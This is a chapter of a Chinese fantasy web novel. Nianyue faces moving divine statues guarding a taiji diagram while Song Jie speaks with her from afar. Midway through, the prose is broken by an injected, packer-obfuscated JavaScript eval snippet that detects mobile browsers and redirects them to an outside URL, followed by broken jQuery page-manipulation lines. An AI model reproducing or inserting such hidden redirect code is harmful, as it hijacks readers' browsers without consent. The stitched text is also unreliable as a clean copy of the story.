“难道还有其他上山的路?”念月喃喃道。
念月浑身上下都不舒服,脑袋还有些昏沉,几乎是靠着仅剩的意识随着洞口向内而去。
墙上每隔一段距离被人砸出凹处,她拿出藏在最内部的火折子,轻轻吹燃,行走间,洞内逐渐亮堂起来。
“我在此处遇见了段师兄和先前的文锦。”宋阶的声音在她耳边响起。
念月弯着身子手脚并用地艰难经过一处狭窄的通道,她四处张望着,回道:“我见着了时翩和圣子。”
“公冶世家的圣子?公冶檀?”爆炸声响了一瞬又消失,宋阶道。
“嗯,这你都知道?”念月踏出最后一步,弯着的身子终于可以直立起来,她呼出一口气,擦了擦额角的汗,昏沉的意识因震惊有些清明。
深海的底部。
周遭巨型妖兽的尸体一个接一个地倒下又消失,剩下的却仍旧不知疲倦朝着运行的太极图前方站着的渺小的黑衣男子杀去。
宋阶眉头都不曾皱一下,一夫当关万夫莫敌的气势闭着眼听着水流动静。
他手指掐诀,几道灵力化成的利器朝着四面八方射去。
又是几声巨响随着怒吼声响起,刚死一批,眨眼间复现出新的妖兽来,身体庞大的妖兽在水流中睥睨着宋阶,大有一股必杀死他的气势。
“有所耳闻。”宋阶呼吸都没起伏道,他守着那方太极图,默默想起了自己支付给揽洲阁为了获取这个情报的多数灵石。
听着念月惊讶的嗓音,好像也不算太亏。
山洞内凿出不平整的向上的台阶,念月撑着野木,半跳着向上走去。
静谧的洞内滴水声混合着念月的声音:“对了,修真界现今是怎么样的?”
“邪修欲驱使妖兽,为了造出更强的妖兽,将几个不同的妖兽结合起来,却反被反噬。”
“这些妖兽猖獗,虽然如今的修士也很强大,但还是抵不过,算是二者常厮杀的局面。”
四周只有她一人,原先还有些恐惧,但如今的注意力全朝着宋阶那里去,内心也渐渐平静下来。
她停了停步伐,身形缓慢慢慢弯腰坐在阶上略作休息,迷迷糊糊听着,总觉有点熟悉,拿出半干的草药又胡乱塞了一嘴。
还未等她思考完,宋阶略微低沉的声音打断了她的思绪,似是无意间道:“阿月,试炼过后,你还要和圣子一起吗?”
试炼过后…试炼过后…
她神色一变,尚还红肿的双手猛地一拍双颊。
“阿月?”
“要在他在修真界这段时间护着他,少则几月,多则几年。”念月越说声音越小声。
她话音刚落,宋阶那边便沉默了下来,只听得宋阶与什么相打斗的声音,念月不知为何,有些心虚。
她绞着双手,也没行动,半晌也没听到回应。
念月有些愣神地想,宋阶会不会有些生气?因为她没给宋阶说,他们两之前一直都在一起,而且她看宋阶在门内目前好像就她一个朋友。
他会不会感到不快?
可她又摇了摇头,理直气壮地想,她做什么为什么要给宋阶报备?
眼神逐渐坚定,仿佛是说服了自己般打起精神站了起来,拿着火折子朝着不知道什么时候才能走到头的台阶走去。
她又走了不知多久,才在空旷的洞里听见他的回复。
“阿月,我想和你一起。”耳边响起宋阶略含委屈的声音,像是羽毛轻轻划过耳骨,有些痒。
“我得问雇主一下,虽然极大可能不行。”念月轻呼一口气,用力拽住野木的手松了点,“但是先放心吧,雇主人特别好的,他还挺善解人意的。”
漆黑的深海内,新出的妖兽还未蓄力,便被一股惊天的威力所支配,霎时间便消失不见。
宋阶单手拭去唇角的血迹,嗓音带着轻颤,“阿月,我想你了。”
念月上台阶的脚一顿,手没跟上一滑,她惊呼一声,死死咬住牙关,左右摇晃了一圈才站稳。
幸好没摔下去。
她稳了稳呼吸,大脑有一瞬间的空白,刚刚宋阶说什么来着?
好像是想她,哦想她?
想她?!
她仿佛能看见宋阶高挺的鼻梁上可怜的双眼,若是还有耳朵,耳朵一定是耷拉下来的。
想着想着,心跳倏然加快,她耳朵开始发热,渐渐染上一层绯红。
她摸了摸升温的耳朵,企图用冰冷的手降下去。
随即又拍了拍自己的脸,啊哈哈哈哈?应该就是好友太久没见的那种想她吧。
念月想礼尚往来地道一句我也想你,可怎么都觉得不对,话滚到嘴边她又憋了回去。
“嗯,你出来就可以看见我了。”
念月适时转移话题,她开始讲述了她的见闻。
还好宋阶也没再提那句话,越发让念月觉得就是好友间的想念。
可她心里却有点空落落的。
洞中感知不到时间的流失,不远处前方有一窄小的出口,出口处白光照耀,风声猎猎。念月吹灭了火折子。
尽管心中已经知道会看见什么,还是不由得紧张起来。
维系此间运转…
她定了定心神,跳入那白光之中。
因太久处于黑暗之中,她眼睛一阵刺痛,念月闭了闭眼,风吹动她的发丝,她眯着眼睛看见了一个巨大的太极图。
念月将被吹散的发丝挽了起来,待适应了白日的灯光后,阴阳相生的太极图半虚半实地位于上方。
四周还有几个神像守护着它。
她朝着其中一个神像看去,神像不像是人所能雕刻,全然没半点雕琢的痕迹,就像是人本来就站在那里,只不过是放大了几倍,衬的人在这天地间更加渺小。
神像面色平静,列阵而站,将中间的太极图围了个严严实实。无论从哪个方位皆难以突破。
手执不同武器,白色的拂尘、青色的伞、锐利的长枪等。
可它们的眼睛,有的是金色,有的是蓝色,总归都不一样。
不同颜色的眼睛?念月迟缓地歪了歪头,好奇怪。
再仔细望去,每个神像俱是高大栩栩如生,且生的都极为貌美俊俏,往下看,甚至可以看清服饰上的褶皱。两层楼的高度,在他们头上,是一个正在动的太极图。
念月眯了眯眼,盯着一个神像看地愣住了,她不可置信地盯着那张脸,那神像即使是雕刻出来,可仿佛都与她那一次偶然见过的人重合了起来。
面如冠玉,玉树临风,金色的眼睛好似悲天悯人地看着这一切。
是那个杀了她又来找她这具身体的人,这个认知仿佛若晴天霹雳般砸向了她。
她秀气的眉头紧皱,内心直呼救命。
不是?她的仇人是神明吗??那她怎么打?
抬眸望去,山上已无路,往下,便是整座山,山中迷雾缠绕,她也分不清里面到底有什么。
四周还有发着臭味的残肢与服饰。
已无退路。
“果然,一样的太极图。”宋阶了然道,“阿月你小心点,这个神像,很有可能攻击人。”
“还有,太极图会在任何东西靠近它三尺时,用雷电劈死。”
念月停下了脚步,“这个怎么才能破开?”
“我一人曾打过几次,可完全破不开,料想是我二人同时击打,方能破开。”
念月屏住呼吸小心地向前走了几步,靠在一棵树干上,眼眸沉静,拿出她的弓箭,一手拿出箭羽搭在了弓箭上。
她手用力拉开弓箭,摇摇晃晃对准了不远处的巨大太极图。
待得弓箭稳住后,一瞬间松开手,箭羽破开空气疾驰驶去,念月咬住唇畔,内心已然最好最坏的打算。
还未行至太极图,那方神像竟转过了脑袋,念月与那人头对上,都说高大的事物速度缓慢,可神像速度一点都不慢,一个神像挡在了箭矢前面,箭矢一刹那碎裂开来。
念月神色猛然变的苍白。
“这些神像,会动。”
宋阶也略微沉了沉脸色,“这些神像应该就和我这方的妖兽一样,就算打不死也会复生,你能否闯进去?雷电会有几息的准备时间。”
“若我猜测无错,神像不能靠近它。”
“最下方的空地处,或许是唯一喘息之地。”
顺着他所说的地方看过去,念月赫然看见一处空白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805979|175150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可那是紧挨着太极图下方的空地处。
风声呼啸,好像吹走她内心的焦虑,念月竟一瞬间明白了自己的处境。
她只有一次机会。
得快准狠将匕首或者武器打入太极图中间。
否则,破不开不是被神像打死,便是近距离被雷电劈死。
她有些欲哭无泪,这辈子还没有和雷电紧密接触过。
太极图仍然缓慢地运行着,盯久了竟逐渐稳住了心神,她紧紧捏住了拳头。
她在王府练出了内力,又或者说,她这具身体本来就有内力。
她打算将内力全部施加在速度上面。
“好,那我去了。”
“你能看清吧,就用我的眼,做你的眼。”她语调轻松地开口。
“好。”宋阶乖乖答道。
念月将野木丢掉,随意活动了筋骨,脸颊因着高烧还有些微红。
她想起来了现在的修真界,凡人与修士都和平相处。
撩了撩迎风飞扬的发丝,此时大脑却清醒地不正常。
既然是历史,既然是真实,既然是有人做到过了。
那她又有何畏惧。
念月抽出一个箭矢,将身上大部分累赘尽数脱了下来丢到一旁。
她全身紧绷,紧接着,脚掌一顿,离地蹿起。
风声呼啸,面无波澜带着神性的神像在这一瞬皆是抬头齐刷刷地盯着她。
被一群似人的神像目不转睛地盯着,这一幕着实有些诡异。
更令她震惊的是,离她最近的神像身后竟幻化出巨大的阖上的双眼。
神像的眼无悲无喜,身后闭着的眼遮天蔽日,一瞬暗夜降至,只剩太极图不急不慢的流光能照亮一二。
高高在上的双眼,一瞬间引得乌云笼罩。
仅仅是直视,她的眼睛便开始泣血。
眼前一片火红,燃烧了她的世界。
在神面前,人如蜉蝣。
以凡人之躯,挑战神,多么可笑。
念月在那双眼睛下,如渺小的蚂蚁般可以轻易一脚碾碎。
她移开了双眼,正要下坠之际。
那神像身后的幻化要慢慢掀开眼眸时,她感到一阵强烈的窒息感。
时间好像在此刻慢了下来,她像是被人从空中扼住脖颈,头部被狠狠挤压,似要将她整个人捏碎。
好疼。
好想吐。
这超出了人间该有的秩序。
“阿月!”宋阶沉静的声音如一根针扎了进来,“快闪开!”
神像正在随着要睁开的眼睛逐渐褪去一层模糊的灰,自下而上光彩流动,就在它的武器快要彻底与此间融为一体时。
念月手抖如筛糠狠狠攥住手中的箭矢,她胸腔内的气几乎被抽出。
她的手只能凭借念头向上,却难以抗衡神威。
双瞳涣散,映不出任何事物。
要死了。绝望的念头涌入心头。
一道不同的声响响起,泛着银光的弩箭以超乎常人的速度划过她的发丝,直直朝着中心的太极图射去。
这还没完,像是破了第一道曙光,风声簌簌,接后的十道弩声却格外清晰。
念月手腕处不知何时套上了白色手镯,手镯霎那间染成红色,血色蛛网般生长于手镯内部,而她竟一瞬间挣脱了枝梧,恢复了所有气力与伤势。
包括那条麻木的腿。
她下意识往回闪开,掉落点远远地避开了石像。
遮日的眼睛消失,一道闪电穿透最开始的弩箭,而石像迅速移动,挡住了一连十矢的弩箭。
周遭一切又恢复静止,云层飘动,露出和煦的日光来,仿若那眼睛从未来过。
念月往那连弩发射处看去,来人面容俊朗,唇角平直,脸色苍白,发冠扎住的头发被风吹的四处乱散,左手划开一大道口子,深可见骨,献血顺着手臂流了下去,隐入腕上的手镯中。
像是从地狱爬上来的恶鬼。
是公冶檀。
并没有解释这一切,公冶檀甚至也未曾包扎,他压下喉咙间的溢出来的呛声,只是如往常一样冷冷启唇,眼神毫无波澜起伏,嘴中却吐出来:“我需要你。”